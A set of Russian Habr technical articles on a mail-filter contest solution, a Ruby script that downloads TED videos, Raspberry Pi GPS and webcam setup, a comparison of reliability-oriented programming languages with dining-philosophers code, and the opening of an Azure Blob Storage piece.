Реализовав такой кодогенератор, я понял что не имею возможности оценить, улучшил ли я результат, и что для этого мне нужен куда более объемный набор тестовых данных. Я решил, что не смогу так просто сгенерировать датасет со вменяемыми статистическими характеристиками, и неплохо бы использовать реальный. Довольно быстро я нашёл [Enron Email Dataset](https://www.cs.cmu.edu/~./enron/) — email архив обанкротившейся компании с соответствующим названием. [Пара скриптов на `Python`](https://github.com/yuri-kilochek/hola_mail_filter/commit/55157d5ccd5d85687c49291ec1eb104a000969c7) извлекли сообщения и сгенерировали из их адресов правила, и бенчмарк был готов.
Я запустил его и… [подрвался на комбинаторной мине](https://en.wikipedia.org/wiki/Combinatorial_explosion). Дело в том, что [алгоритм построения DFA](https://en.wikipedia.org/wiki/Powerset_construction) имеет экспоненциальную сложность (*O(2^(кол-во состояний недетерминированного конечного автомата (NFA)))*) и я недооценил насколько это ужасно. Я не мог дождаться конца завершения построения автомата для всего лишь двадцати правил. Вместо того чтобы решать эту алгоритмическую проблему, я потратил время на оптимизацию и без того высокопроизводительной части системы. Воистину, [premature optimization is the root of all evil](https://en.wikiquote.org/wiki/Donald_Knuth).
Ощутив просветление, первым делом я разделил `.from` и `.to` обратно, получив таким образом один автомат оперирующий только на `.from` для всех правил, и по одному автомату оперирующему на `.to` для каждой группы правил, `.from` которых приводят к одному и тому же конечному состоянию первого автомата:
Это уменьшило размеры каждого NFA как минимум вдвое, а значит и существенно уменьшился размеры соответствующих DFA. Производительность поднялась на порядок, теперь уже можно было дождаться построения автомата для сотни правил.
Но это всё равно было слишком долго. Пришло понимание, что нужно менять концепцию, а где-то через неделю пришло и озарение: не нужно строить весь детерминированный автомат сразу, можно строить его лениво, по одному состоянию за шаг. [Реализация этой концепции](https://github.com/yuri-kilochek/hola_mail_filter/commit/8eb20956b157827570487cbe3953926cf700237d) меня сильно удивила: она была в несколько раз быстрее предудущей версии на тех же входных данных, более того, она могла без труда прожёвывать входные данные куда большей размерности. Видимо большая часть состояний полного DFA не посещаются. Я даже заново распарсил датасет Enron'а, чтобы извлечь больше данных.
Я решил, что это то, что мне нужно, и принялся за оптимизацию.
### Оптимизация
Я попробовал несколько разных вещей, опишу те, что дали ощутимый результат.
#### Мемоизация
Не замерял, но имею основания полагать, что времени экономит больше всего остального. Используется в двух местах:
* Ленивое построение DFA [запоминает однажды пройденные состояния](https://github.com/hola/challenge_mail_filter/blob/master/submissions/Yuri%20Kilochek/filter.js#L206), а не создает из заново каждый проход.
* [Запоминается конечное состояние автомата для каждого email'а](https://github.com/hola/challenge_mail_filter/blob/master/submissions/Yuri%20Kilochek/filter.js#L218), тем самым избавляя от необходимости повторно проходить по графу DFA. Так как в типичном email архиве сообщений зачастую много больше чем адресов, между которыми они пересылаются, выгода существенна. В частности, это приводит к тому, что в результате `filter` сообщения, имеющие одинаковые массивы действией, на самом деле ссылаются на один и тот же объект массива. Массивы действий не заполняются заново для каждого нового сообщения.
#### Поиск состояния DFA соответствущего множеству состояний NFA
Потратил на это больше всего времени. Суть такова: нужно эффективное отображение из множества `Object`'ов (состояний NFA) в другой `Object` (соcтояние DFA). Так как в js нету нормальных хештаблиц c нестроковыми ключами, пришлось изворачиваться.
Сделал следующее: в каждое состояние NFA поместил уникальный инт `.id` при создании NFA (простым инкрементом). Имея множество таких состояний, кладу их `.id` в [`Buffer`](https://nodejs.org/api/buffer.html), сортирую, и [интерпретирую как строковый ключ](https://github.com/hola/challenge_mail_filter/blob/master/submissions/Yuri%20Kilochek/filter.js#L168) с помощью [`.toString()`](https://nodejs.org/api/buffer.html#buffer_buf_tostring_encoding_start_end).
#### Исспользование специфики структуры NFA
NFA, получающийся из шаблонов email'ов, имеет особенности:
* Каждая вершина-состояние имеет не более двух исходящих дуг-переходов. Изначально это было реализовано в виде массивов для произвольного числа элементов. Когда я [реализовал это в виде пар свойств](https://github.com/yuri-kilochek/hola_mail_filter/commit/c243e48b3c3d10ffadce7719dc971d89406553b3) время выполнения уменьшилось на 20%.
* Во время создания, [состояния NFA можно нумеровать](https://github.com/hola/challenge_mail_filter/blob/master/submissions/Yuri%20Kilochek/filter.js#L48) (заполнять `.id`) таким образом, что построенные в дальнейшем множества оных будут уже отсортированы, убирая необходимость сортировки для построения строкового ключа (описано выше)
#### Минимизация частоты аллокаций памяти
* При построении DFA постоянно создаются массивы состояний NFA, которые зачастую выкидываются после того, как по ним построен строковый ключ и найдено соответствующее состояние DFA (если не найдено, то создается новое, и массив становится его частью)
* При построении строкового ключа буфер содержащий `.id` NFA состояний выкидывается вообще всегда.
В обоих случаях можно [создать массив и буфер максимально необходимых размеров](https://github.com/hola/challenge_mail_filter/blob/master/submissions/Yuri%20Kilochek/filter.js#L150) при создании DFA и многократно их использовать без перевыделения памяти.
### Финальная оценка корректности
К этому моменту у меня заканчивались возможности для оптимизации, а полной уверенности в корректности решения не было. Чтобы исправить это досадное упущение, я написал [ещё один скрипт на питоне](https://github.com/yuri-kilochek/hola_mail_filter/blob/master/enron_corpus/pull_reference.py), который медленно, за несколько дней, прогнал маленький кусочек датасета Enron'а (около 500 сообщений, для 1000 правил) через reference implementation. И, как оказалось, не зря. Получившиеся тестовые примеры выявили баг на edge-case'е, когда в шаблоне email'a две звездочки отделены друг от друга одним символом. Его было трудно найти [но легко исправить](https://github.com/yuri-kilochek/hola_mail_filter/commit/207b02f94131388ab4f4efde1e79dc66851a4fa4).
### Комментарий к методике оценки решений
Бенчмарк организаторов [запускает тестируемые модули через модуль `vm` Node'a](https://github.com/hola/challenge_mail_filter/blob/master/tests/test.js#L36), вместо простого [`require`](https://nodejs.org/api/modules.html#modules_module_require_id). Что, [как выяснилось](http://habrahabr.ru/company/hola/blog/274697/#comment_8730195), имеет неожиданные эффекты на производительности. **Организаторы решили пересмотреть результаты.**
Также я был удивлен относительно малой размерностью входных данных, которые были использованы для оценки решений. Финальную версию я гонял на 500000 сообщений и 1000 правил, и ожидал ещё больших размеров в бенчмарке организаторов. На таком датасете и с запуском через `require` тройка официальных лидеров показывает следующие результаты:
* Юрий Килочек ~2300мс (я)
* Дениса Крешихин ~2850мс
* Илья Макаров ~7500мс
Для желающих, я [выложил свое решение вместе с бенчмарками](https://github.com/yuri-kilochek/hola_mail_filter). Предлагаю в будущем, во избежание подобных недоразумений, усреднять результат по разным размерностям входных данных, или организовывать соревнования в разных 'весовых категориях'. | https://habr.com/ru/post/274935/ | null | ru | null |
# Не знаешь что посмотреть? Посмотри лучшие видео с TED
Наткнулся на очень [интересный пост](http://blog.postrank.com/2010/05/and-the-most-engaging-ted-talk-is/), где небольшим скриптом народ составил топ самых обсуждаемых докладов с [TED](http://www.ted.com). А так как сериалы становятся все тупее и тупее, решил заполнить свое свободное время чем-то более полезным. Ведь на TED время от времени говорят об интересных и полезных вещах.
В итоге получился другой скрипт, который большинство этих видео скачал.
Одним из вариантов посмотреть все видео был бы открыть XLS файл с сайта и кликать по линкам сверху вниз, но он чрезвычайно неудобен. Через 10-20 ссылок я бы запутался что смотрел а что нет, да и хочется залить все на iPhone и смотреть/слушать по дороге на работу.
После продолжительного гугления синтаксиса Ruby, был написан небольшой скрипт, который брал из файла адреса докладов и скачивал их в папочку. Дело полезное, может быть кому пригодится.
```
require 'rubygems'
require 'nokogiri'
require 'open-uri'
require 'HTTParty'
urls = IO.readlines("data.txt").map {|line| line.chomp}
if !File.exists?("videos")
Dir.mkdir("videos")
end
urls.each_with_index do |url, count|
begin
doc = Nokogiri.parse(open(url).read)
node = doc.xpath("//dt/a[text()='Download video to desktop (MP4)']")
video = "http://www.ted.com" + node.attribute("href").to_s
videoName = "videos/(#{count+1})" + url.match(/http:\/\/www.ted.com\/talks\/(.*)\.html/i)[1] + ".mp4"
puts "Downloading #{url} to #{videoName}"
File.open( videoName, "w+") do |f|
f << HTTParty.get( video )
end
rescue
puts "Failed to download #{url}"
end
end
```
Соответственно, нужно поставить гемы: nokogirii и httparty.
Скрипт и файл с данными скинул на [GitHub](https://github.com/valyard/topTED).
Для некоторых видео на сайте нет ссылок на скачивание. Их придется смотреть там или на youtube.
Можно было бы выложить все скачанные видео куда-нибудь в торенты, но это не так интересно как ~~собрать из исходников~~скачать самому.
С удовольствием выслушаю замечания от гуру Ruby.
P.S. ушел смотреть все по порядку.
**Update**: добавил Gemfile для упрощения установки
**Update2**: спасибо [detunized](http://geektimes.ru/users/detunized/) за урок Ruby
**Update3**: добавил создание папки videos, если ее нет | https://habr.com/ru/post/115405/ | null | ru | null |
# Система наблюдения в автомобиле за ним же на Raspberry Pi. Часть 2
В прошлой [статье](http://habrahabr.ru/post/202012/) я описал:
* создание на одном Raspberry Pi домашнего VPN-сервера;
* установку и настройку на втором Raspberry Pi OpenVPN-клиента, Node.JS и 3G-модема.
В этот раз настроим и подключим GPS-приёмник и WEB-камеру через USB-хаб.
#### Подключение и настройка GPS-приёмника
Для этой цели я приобрёл ND-100S GPS DONGLE
Проверим, определилось ли устройство:
Наше устройство — Prolific Technology.
Установим пакеты для нашего устройства, чтобы получать координаты и перезагрузимся:
```
sudo apt-get install gpsd gpsd-clients python-gps -y
sudo reboot
```
Теперь посмотрим и увидим, что у нас загружается сервис gpsd, но без указания устройства ввода (этот вариант не работает):
Отключим этот демон:
```
sudo dpkg-reconfigure gpsd
```
На первый вопрос отвечаем «No»:
На второй тоже «No»:
Можно поправить вручную файл */etc/default/gpsd*, но там написано что лучше использовать реконфигуратор пакета, что я и сделал.
Запустим демон для работы с приёмником:
```
sudo gpsd /dev/ttyUSB0 -F /var/run/gpsd.sock
```
Теперь попробуем получить координаты:
Бывает что в помещении долго не может поймать координаты или при первом запуске — для ознакомления можно почитать про холодный и горячий старт.
Отлично! Теперь добавим верный запуск демона в автозагрузку:
```
crontab -e
```
#### Подключение и настройка WEB-камеры
Для этой цели я нашёл старую WEB-камеру фирмы Logitech.
Собственно подключим нашу камеру и проверим:
```
pi@raspberrypi ~ $ ls /dev/video*
/dev/video0
```
Из-за скорости канала я предпочёл передачу изображения, а не видео.
После поиска и тестирования разных пакетов я остановился на fswebcam, с помощью которого я получил изображение за пару секунд.
Установим и сразу попробуем получить снимок:
```
sudo apt-get install fswebcam -y
fswebcam —save /home/pi/test.png
```
Заберём теперь и проверим:
```
scp pi@192.168.2.6:/home/pi/test.png ./
```
Где 192.168.2.6 — IP адрес, полученный от OpenVPN сервера.
В зависимости от скорости передачи можно настроить на меньшее разрешение снимков и формат обработки изображения. | https://habr.com/ru/post/202334/ | null | ru | null |
# Надежное программирование в разрезе языков. Часть 2 — Претенденты
Первая часть с функциональными требованиями [тут](https://habr.com/ru/post/437830/).
Заявленные как языки программирования с прицелом на надежность.
В алфавитном порядке — Active Oberon, Ada, BetterC, IEC 61131-3 ST, Safe-C.
Сразу дисклеймер (отмазка) — это никак не агитация “все на левый борт”, и обзор скорее академический — у языка может не быть не только активно поддерживаемой современной среды разработки, но и даже компилятора под Вашу платформу.
С другой стороны, для рассматриваемых языков есть компиляторы с открытыми исходниками, да и с нынешнем уровнем развития софтостроения — при заинтересованности, не слишком сложный синтаксис позволяет сделать личный компилятор и интегрироваться в какой нибудь Эклипс с подсветкой и парсером.
Как показатель наглядности языка, я выбрал реализацию известной многопоточной задачи Дейкстры об обедающих философах. Реализация есть в учебниках по языку и на форумах, что облегчило мне работу — осталось только адаптировать. Например недавняя [хабра статья](https://habr.com/ru/post/437998/) про современный С++ содержит реализацию на C++17 для сравнения.
Active Oberon (2004)
--------------------
Создавался с оглядкой на опыт Паскаля, Модулы, предыдущих Оберонов с 1988г, Java, C#, Ады, а также практический опыт применения. Имеет реализацию в виде [ОС A2](https://ru.wikipedia.org/wiki/A2_(%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0)), которая может выступать рантаймом поверх \*nix или Windows. [Исходники А2 и компилятора по ссылке](https://github.com/metacore/A2OS).
Также есть проект [Oberon2 to C Compiler (OOC)](https://github.com/Spirit-of-Oberon/oo2c) не привязанный к среде Оберон. Это немного другой диалект, отличия описаны ниже.
Ключевая фишка Оберона — исключительная краткость спецификации. Это 16 страниц по базовому Оберону-2 плюс 23 страницы по многопоточному Активному расширению.
Простой и понятный синтаксис, исключающий явные ошибки.
Идентификаторы регистрозависимые.
ООП с объектами на куче с автосборщиком мусора(GC).
Отличается от предшественников более привычным синтаксисом ООП в виде Экземпляр.Метод (раньше было Метод(Экземпляр)) и поддержкой многопоточности с примитивами синхронизации.
В реализации ООП нет динамической диспетчеризации, что легко может привести к ситуации — забыли дописать обработку для нового типа.
Потокам можно назначить приоритет и высоким/риалтайм они не прерываются GC. Строки в виде массивов UTF-8.
Рантайм (Система Оберон) дает интересные возможности для перезапуска сбойной процедуры/модуля/потока в случае рантайм ошибки — адресации памяти или, например, целочисленного переполнения.
Недостатком можно счесть отсутствие RAII, и удобной обработки ошибок — все через коды возврата, за исключением варианта ниже.
#### Оберон-2 OOC
Удобнее для экспериментов, поскольку не требует ОС Оберон — компилируется в ANSI С и нет проблем интероперабельности. Отличия от Активной версии — нет встроенной в язык многопоточности — вместо этого есть модуль работы с PThreads, зато есть UTF16, иерархическая модульность и системный модуль для работы с исключениями.
#### Модула-3
Есть еще родственник из немного другой ветки развития в виде Модулы-3. Создавалась на базе Оберона в противовес переусложенной Аде. [Реализация тут](https://github.com/modula3/cm3).
По сравнению с Активным Обероном добавлены дженерики и исключения, есть библиотеки для практической работы с Юникодом, GUI, и даже Постгрессом. Упрощена интеграция с С. Другая семантика многопоточности. RAII в виде WITH (похоже на using в C#).
Но похоже, что развитие Модулы-3 остановилось в 2010 году.
Дисклеймер. Запустив WinAOS я столкнулся с TRAPами (aka abort/stacktrace или runtime error) на ровном месте — даже диспетчер задач работает с ошибками, и хотя система/рантайм и не вылетали — а только приложение, меня посетило определенное сомнение о том, что надежность определяется языком программирования =(
Также AOC является в достаточной степени замкнутой на себя, со своим подходом к разработке.
**Исходник Обедающих Философов**
```
MODULE Philo;
(* Dining Philosophers Example from Active Oberon Language Report by Patrik Reali *)
(* Adapted for running in AOS by Siemargl *)
IMPORT Semaphores := Example8, Out;
CONST
NofPhilo = 5; (* number of philosophers *)
VAR
fork: ARRAY NofPhilo OF Semaphores.Semaphore;
i: LONGINT;
TYPE
Philosopher = OBJECT
VAR
first, second: LONGINT;
(* forks used by this philosopher *)
PROCEDURE & Init(id: LONGINT);
BEGIN
IF id # NofPhilo-1 THEN
first := id; second := (id+1)
ELSE
first := 0; second := NofPhilo-1
END
END Init;
PROCEDURE Think; (* Need lock console output *)
BEGIN {EXCLUSIVE}
Out.Int(first); Out.String(".... Think...."); Out.Ln;
END Think;
PROCEDURE Eat;
BEGIN {EXCLUSIVE}
Out.Int(first); Out.String(".... Eat...."); Out.Ln;
END Eat;
BEGIN {ACTIVE}
LOOP
Think;
fork[first].P; fork[second].P;
Eat;
fork[first].V; fork[second].V
END
END Philosopher;
VAR
philo: ARRAY NofPhilo OF Philosopher;
BEGIN
FOR i := 0 TO NofPhilo DO
NEW(fork[i], INTEGER(i));
NEW(philo[i], i);
END;
END Philo.
Philo.Philo1 ~
```
Ada (1980, последний действующий стандарт 2016)
-----------------------------------------------
Собственно, на первый взгляд тут есть все, что мне хотелось бы.
И даже чуть больше — есть числа с точным вычислениями с плавающей точкой. Например, есть риалтайм планировщик потоков, межпоточный обмен и формально верифицируемое подмножество языка SPARK. И еще много много всего.
Думаю, если бы для надежности Ады был нужен еще черт рогатый, он бы прилагался вместе с инструкцией по вызову в трудной ситуации =)
Реализация — [ГНУтая Ада](https://www.adacore.com/download), развивается, стандартизована ISO/IEC.
Стандартом предусмотрена реализация с GC, но для компилируемых вариантов он чаще не реализован. Требуется ручное управление памятью — и тут возможны ошибки программиста. Впрочем, язык заточен на использование по умолчанию стека и есть понятие управляемых типов с деструкторами. Можно еще определить свою реализацию GC, автоосвобождения или подсчет ссылок для каждого типа данных.
Ada Reference Manual 2012 содержит 950 страниц.
Недостаток Ады кроме сложности — чрезмерная многословность, что впрочем было задумано в угоду читаемости. Из-за специфичности языковой модели безопасности, интеграция с “чужими” библиотеками затруднена.
На сайде [Ada-ru](https://www.ada-ru.org/doc_books) есть хорошая обзорная переводная статья — первая ссылка.
**Исходник Обедающих Философов**
```
-- Code from https://rosettacode.org/wiki/Dining_philosophers#Ordered_mutexes
-- ADA95 compatible so can run in ideone.com
with Ada.Numerics.Float_Random; use Ada.Numerics.Float_Random;
with Ada.Text_IO; use Ada.Text_IO;
procedure Test_Dining_Philosophers is
type Philosopher is (Aristotle, Kant, Spinoza, Marx, Russel);
protected type Fork is
entry Grab;
procedure Put_Down;
private
Seized : Boolean := False;
end Fork;
protected body Fork is
entry Grab when not Seized is
begin
Seized := True;
end Grab;
procedure Put_Down is
begin
Seized := False;
end Put_Down;
end Fork;
Life_Span : constant := 20; -- In his life a philosopher eats 20 times
task type Person (ID : Philosopher; First, Second : not null access Fork);
task body Person is
Dice : Generator;
begin
Reset (Dice);
for Life_Cycle in 1..Life_Span loop
Put_Line (Philosopher'Image (ID) & " is thinking");
delay Duration (Random (Dice) * 0.100);
Put_Line (Philosopher'Image (ID) & " is hungry");
First.Grab;
Second.Grab;
Put_Line (Philosopher'Image (ID) & " is eating");
delay Duration (Random (Dice) * 0.100);
Second.Put_Down;
First.Put_Down;
end loop;
Put_Line (Philosopher'Image (ID) & " is leaving");
end Person;
Forks : array (1..5) of aliased Fork; -- Forks for hungry philosophers
-- Start philosophers
Ph_1 : Person (Aristotle, Forks (1)'Access, Forks (2)'Access);
Ph_2 : Person (Kant, Forks (2)'Access, Forks (3)'Access);
Ph_3 : Person (Spinoza, Forks (3)'Access, Forks (4)'Access);
Ph_4 : Person (Marx, Forks (4)'Access, Forks (5)'Access);
Ph_5 : Person (Russel, Forks (1)'Access, Forks (5)'Access);
begin
null; -- Nothing to do in the main task, just sit and behold
end Test_Dining_Philosophers;
```
BetterC (dlang subset 2017, оригинальный D — 2001, D 2.0 — 2007)
----------------------------------------------------------------
Самая современная реализация из рассматриваемых. Полное описание языка довольно длинное — 649 страниц — [см.оригинальный сайт](https://dlang.org/spec/spec.html).
Собственно это язык D, но с ограничениями ключом -betterC. Почему так ?!
Потому что стандартная библиотека D — Phobos, разрабатывается Александреску и получилась весьма хитромудрой, полностью построенной на шаблонах. Ключевое для данной темы, что Фобос неконтролируем в плане расхода памяти.
Самое важное что теряется в режиме BetterC — многопоточность, GC, строки, классы (структуры остаются — они близки по функционалу — только на стеке) и исключения (RAII и try-finally остаются).
Возможно, впрочем, часть программы писать на полном D, а критичную часть — на D -BetterC. Также есть системные атрибута функция для контроля неиспользования опасных эффектов: pure [safe](https://habr.com/ru/users/safe/) @nogc.
[Обоснование режима](https://dlang.org/blog/2017/08/23/d-as-a-better-c/) от создателя языка.
А [тут выжимка](https://dlang.org/spec/betterc.html) — что обрезано, а что осталось доступным.
Строки содержатся в Фобосе — и попытки их использовать в BetterC выливаются в адские ошибки инстантациации шаблонов на элементарных операциях вроде вывода строки на консоль или конкатенации. А в полном режиме D строки в куче и иммутабельные, потому операции с ними приводят к замусориванию памяти.
Мне приходилось несколько раз встречать жалобы на баги в компиляторе. Что впрочем неудивительно для языка, конкурирующего по сложности с С++. При подготовке статьи тоже пришлось столкнуться с 4мя ошибками — две возникли при попытке собрать dlangide новым компилятором и парой при портировании задачи о философах (например вылет при использовании beginthreadex).
Режим еще только недавно появился и ошибки, вызванные ограничением режима BetterC вылезают уже на этапе линковки. Узнать об этом заранее, какие фичи языка урезаны точно — приходится часто на собственном опыте.
**Исходник Обедающих Философов**
```
// compile dmd -betterC
import core.sys.windows.windows;
import core.stdc.stdio;
import core.stdc.stdlib : rand;
//import std.typecons; // -impossible (
//import std.string; - impossible
extern (Windows) alias btex_fptr = void function(void*) /*nothrow*/;
//extern (C) uintptr_t _beginthreadex(void*, uint, btex_fptr, void*, uint, uint*) nothrow;
/* Dining Philosophers example for a habr.com
* by Siemargl, 2019
* BetterC variant. Compile >dmd -betterC Philo_BetterC.d
*/
extern (C) uintptr_t _beginthread(btex_fptr, uint stack_size, void *arglist) nothrow;
alias HANDLE uintptr_t;
alias HANDLE Fork;
const philocount = 5;
const cycles = 20;
HANDLE[philocount] forks;
struct Philosopher
{
const(char)* name;
Fork left, right;
HANDLE lifethread;
}
Philosopher[philocount] philos;
extern (Windows)
void PhilosopherLifeCycle(void* data) nothrow
{
Philosopher* philo = cast(Philosopher*)data;
for (int age = 0; age++ < cycles;)
{
printf("%s is thinking\n", philo.name);
Sleep(rand() % 100);
printf("%s is hungry\n", philo.name);
WaitForSingleObject(philo.left, INFINITE);
WaitForSingleObject(philo.right, INFINITE);
printf("%s is eating\n", philo.name);
Sleep(rand() % 100);
ReleaseMutex(philo.right);
ReleaseMutex(philo.left);
}
printf("%s is leaving\n", philo.name);
}
extern (C) int main()
{
version(Windows){} else { static assert(false, "OS not supported"); }
philos[0] = Philosopher ("Aristotlet".ptr, forks[0], forks[1], null);
philos[1] = Philosopher ("Kant".ptr, forks[1], forks[2], null);
philos[2] = Philosopher ("Spinoza".ptr, forks[2], forks[3], null);
philos[3] = Philosopher ("Marx".ptr, forks[3], forks[4], null);
philos[4] = Philosopher ("Russel".ptr, forks[0], forks[4], null);
foreach(ref f; forks)
{
f = CreateMutex(null, false, null);
assert(f);
}
foreach(ref ph; philos)
{
ph.lifethread = _beginthread(&PhilosopherLifeCycle, 0, &ph);
assert(ph.lifethread);
}
foreach(ref ph; philos)
WaitForSingleObject(ph.lifethread, INFINITE);
// Close thread and mutex handles
for( auto i = 0; i < philocount; i++ )
{
CloseHandle(philos[i].lifethread);
CloseHandle(forks[i]);
}
return 0;
}
```
[Для сравнения, исходник на полном D](https://rosettacode.org/wiki/Dining_philosophers#D).
На розетте также можно посмотреть варианты для прочих языков.
IEC 61131-3 ST (1993, последний стандарт 2013)
----------------------------------------------
Нишевой язык программирования микроконтроллеров. Стандарт подразумевает 5 вариантов программирования, но писать прикладное приложение к примеру в релейной логике это еще то приключение. Потому сконцентрируемся на одном варианте — структурированный текст.
Текст стандарта ГОСТ Р МЭК 61131-3-2016 — 230 страниц.
Есть реализации для PC/x86 и ARM — и коммерческие, самая известная из которых — это [CODESYS](https://www.codesys.com) (часто еще и сублицензированная с разными именами) и [открытые — Beremiz](https://beremiz.org) — с трансляцией через С.
Поскольку интеграция с С имеется, то подключить нужные для прикладного программирования библиотеки вполне реально. С другой стороны — в этой области принято, что логика крутится отдельно и только служит сервером данных для другой программы либо же системы — интерфейса с оператором или с СУБД, которая уже может быть написана уже на чем угодно — без требований реалтайма и даже каких либо временных вообще…
Многопоточное программирование для пользовательской программы появилось относительно недавно — в микроконтроллерах такое было раньше не нужно.
Приведение типов большей частью только явное (смягчено в последнем стандарте). Но контроль переполнения зависит от реализации.
В последней редакции стандарта появилось ООП. Обработка ошибок производится пользовательскими обработчиками прерываний.
Динамического выделения памяти для пользователя можно сказать что нет. Это исторически сложилось — количество данных, обрабатываемое микроконтроллером — всегда константно ограничено сверху.
**Исходник (не проверялся)**
```
(* Dining Philosophers example for a habr.com
* by Siemargl, 2019
* ISO61131 ST language variant. Must be specialized 4 ur PLC
* )
CONFIGURATION PLC_1
VAR_GLOBAL
Forks : USINT;
Philo_1: Philosopher; (* Instance block - static vars *)
Philo_2: Philosopher;
Philo_3: Philosopher;
Philo_4: Philosopher;
Philo_5: Philosopher;
END_VAR
RESOURCE Station_1 ON CPU_1
TASK Task_1 (INTERVAL := T#100MS, PRIORITY := 1);
TASK Task_2 (INTERVAL := T#100MS, PRIORITY := 1);
TASK Task_3 (INTERVAL := T#100MS, PRIORITY := 1);
TASK Task_4 (INTERVAL := T#100MS, PRIORITY := 1);
TASK Task_5 (INTERVAL := T#100MS, PRIORITY := 1);
PROGRAM Life_1 WITH Task_1:
Philo_1(Name := 'Kant', 0, 1, Forks);
PROGRAM Life2 WITH Task_2:
Philo_2(Name := 'Aristotel', 1, 2, Forks);
PROGRAM Life3 WITH Task_3:
Philo_3(Name := 'Spinoza', 2, 3, Forks);
PROGRAM Life4 WITH Task_4:
Philo_4(Name := 'Marx', 3, 4, Forks);
PROGRAM Life5 WITH Task_5:
Philo_5(Name := 'Russel', 4, 0, Forks);
END_RESOURCE
END_CONFIGURATION
FUNCTION_BLOCK Philosopher;
USING SysCpuHandling.library;
VAR_INPUT
Name: STRING;
Left: UINT;
Right: UINT;
END_VAR
VAR_IN_OUT
Forks: USINT;
END_VAR
VAR
Thinking: BOOL := TRUE; (* States *)
Hungry: BOOL;
Eating: BOOL;
HaveLeftFork: BOOL;
TmThink: TON;
TmEating: TON;
END_VAR
TmThink(In := Thinking; PT := T#3s);
TmEating(In := Eating; PT := T#5s);
IF Thinking THEN (* Just waiting Timer *)
Thinking := NOT TmThink.Q;
Hungry := TmThink.Q;
ELSIF Hungry (* Try Atomic Lock Forks *)
IF HaveLeftFork
IF SysCpuTestAndSetBit(Address := Forks, Len := 1, iBit := Right, bSet := 1) = ERR_OK THEN
Hungry := FALSE;
Eating := TRUE;
ELSE
RETURN;
END_IF
ELSIF
IF SysCpuTestAndSetBit(Address := Forks, Len := 1, iBit := Left, bSet := 1) = ERR_OK THEN
HaveLeftFork := TRUE;
ELSE
RETURN;
END_IF
END_IF
ELSIF Eating (* Waiting Timer, then lay forks *)
IF TmEating.Q THEN
Thinking := TRUE;
Eating := FALSE;
HaveLeftFork := FALSE;
SysCpuTestAndSetBit(Address := Forks, Len := 1, iBit := Right, bSet := 0);
SysCpuTestAndSetBit(Address := Forks, Len := 1, iBit := Left, bSet := 0);
END_IF
END_IF
END_FUNCTION_BLOCK
```
Safe-C (2011)
-------------
Экспериментальный С с удалением опасных фишек и с добавлением модульности и многопоточности. [Сайт проекта](http://www.safe-c.org)
Описание примерно 103 страницы. Если выделить отличия от С — [совсем мало, около 10](http://www.safe-c.org/manual.html).
Работа с массивами и указателями обезопасена, динамическая память с автоматическим подсчетом ссылок — с проверками на двойное освобождении и повисшие ссылки.
В стандартной библиотеке есть минимальный набор функций для GUI, многопоточности, сетевых функций (в т.ч http-сервер).
Но — данная реализация только для Windows x86. Хотя код компилятора и библиотеки открыт.
В рамках другой исследовательской задачи я собрал макет Веб-сервер, собирающий данные с IoT датчиков: 75 Кб исполнительный модуль, и < 1Мб частичный набор памяти.
**Исходник Обедающих Философов**
```
/* Dining Philosophers example for a habr.com
* by Siemargl, 2019
* Safe-C variant. Compile >mk.exe philosafec.c
*/
from std use console, thread, random;
enum philos (ushort) { Aristotle, Kant, Spinoza, Marx, Russell, };
const int cycles = 10;
const ushort NUM = 5;
uint lived = NUM;
packed struct philosopher // 32-bit
{
philos name;
byte left, right;
}
philosopher philo_body[NUM];
SHARED_OBJECT forks[NUM];
void philosopher_life(philosopher philo)
{
int age;
for (age = 0; age++ < cycles; )
{
printf("%s is thinking\n", philo.name'string);
delay((uint)rnd(1, 100));
printf("%s is hungry\n", philo.name'string);
enter_shared_object(ref forks[philo.left]);
enter_shared_object(ref forks[philo.right]);
printf("%s is eating\n", philo.name'string);
delay((uint)rnd(1, 100));
leave_shared_object(ref forks[philo.right]);
leave_shared_object(ref forks[philo.left]);
}
printf("%s is leaving\n", philo.name'string);
InterlockedExchange(ref lived, lived-1);
}
void main()
{
philos i;
assert philosopher'size == 4;
philo_body[0] = {Aristotle, 0, 1};
philo_body[1] = {Kant, 1, 2};
philo_body[2] = {Spinoza, 2, 3};
philo_body[3] = {Marx, 3, 4};
philo_body[4] = {Russell, 0, 4};
for (i = philos'first; i <= philos'last; i++)
{
assert run philosopher_life(philo_body[(uint)i]) == 0;
}
while (lived > 0) sleep 0; // until all dies
for (i = philos'first; i <= philos'last; i++)
{
destroy_shared_object(ref forks[(uint)i]);
}
}
```
Напоследок — [сводная таблица соответствия](https://docs.google.com/spreadsheets/d/1eGluKkTYzW7l577MlTGAi_sqKiI5M2nJNrOkmP280Vc/edit?usp=sharing) функциональным требованиям.
Наверняка я что то упустил или переврал — так что поправляйте.
[Исходники из статьи на гитхабе](https://github.com/Siemargl/SafeProgramming). | https://habr.com/ru/post/442372/ | null | ru | null |
# Фрагментация блобов Azure Blob Storage в сценариях загрузки и скачивания данных
Введение
--------
Если вы работали с облачными технологиями Microsoft Azure то наверняка сталкивались, или как минимум читали, про Azure Storage Account и его составляющие – Tables, Queues и Blobs.
В данной статье я хотел бы рассмотреть последнюю из них, блобы, с точки зрения скорости доступа к ним и сделать небольшой обзор возможностей по их модификации без загрузки всего контента блоба на клиент.
В настоящий момент Azure предоставляет три типа блобов:
1. Блочные блобы (Block BLOBs) хранят бинарные данные в виде отдельных блоков переменного размера и позволяют загрузить до 190Тб данных суммарно в один блоб.
2. Блобы оптимизированные для добавления (Append BLOBs) представляют собой фактически те же блочные блобы, но инфраструктура Azure Storage Account берет на себя ответственность за добавление данных в конец существующего блоба, а также позволяет множеству отдельных продюсеров писать в один и тот же блоб без блокировок (но и без гарантий обеспечения последовательности, есть только гарантия что каждая отдельная вставка данных будет добавлена к блобу консистентно и не перепишет другую).
3. Страничные блобы (Page BLOBs) предоставляют случайный доступ к содержимому и преимущественно используются для хранения образов виртуальных машин.
Когда говорят о блобах чаще всего имеют в виду блочные. Я поступлю также и только немного затрону тему блобов, оптимизированных для добавления, т.к. страничные в основном используются в самой инфрастуктуре Azure, а в моей практике не пришлось с ними сталкиваться вообще.
Что может быть проще блоба?
---------------------------
Для начала небольшая история, с которой мы столкнулись на одном из проектов несколько лет назад. Нам требовалось получать, хранить и отдавать через API большие объемы телеметрии от клиентов, причем использовать таблицы было неудобно по нескольким причинам.
